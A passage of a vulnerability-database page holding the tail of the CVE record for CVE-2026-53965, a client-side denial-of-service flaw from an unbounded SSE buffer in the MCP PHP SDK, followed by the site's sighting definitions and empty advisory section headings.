              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-770",
              "description": "CWE-770: Allocation of Resources Without Limits or Throttling",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-25T20:36:55.186Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/modelcontextprotocol/php-sdk/security/advisories/GHSA-7m52-jw36-44r3",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/modelcontextprotocol/php-sdk/security/advisories/GHSA-7m52-jw36-44r3"
        },
        {
          "name": "https://github.com/modelcontextprotocol/php-sdk/commit/055593f2592e1d7f5f48587c999ca7068a3be90d",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/modelcontextprotocol/php-sdk/commit/055593f2592e1d7f5f48587c999ca7068a3be90d"
        },
        {
          "name": "https://github.com/modelcontextprotocol/php-sdk/releases/tag/v0.7.1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/modelcontextprotocol/php-sdk/releases/tag/v0.7.1"
        }
      ],
      "source": {
        "advisory": "GHSA-7m52-jw36-44r3",
        "discovery": "UNKNOWN"
      },
      "title": "MCP PHP SDK: Unbounded SSE buffer in HttpTransport enables client-side denial of service"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-53965",
    "datePublished": "2026-08-25T20:36:55.186Z",
    "dateReserved": "2026-06-11T15:50:01.282Z",
    "dateUpdated": "2026-08-26T15:00:07.597Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-7M52-JW36-44R3

Summary

Impact

How input reaches the sink (reachability)

Vulnerable code

Proof of concept / End-to-end reproduction (against the released composer package)

Suggested fix

Fix PR

Credit

CVE-2026-53965 (GCVE-0-2026-53965)

Tags

Sightings

Nomenclature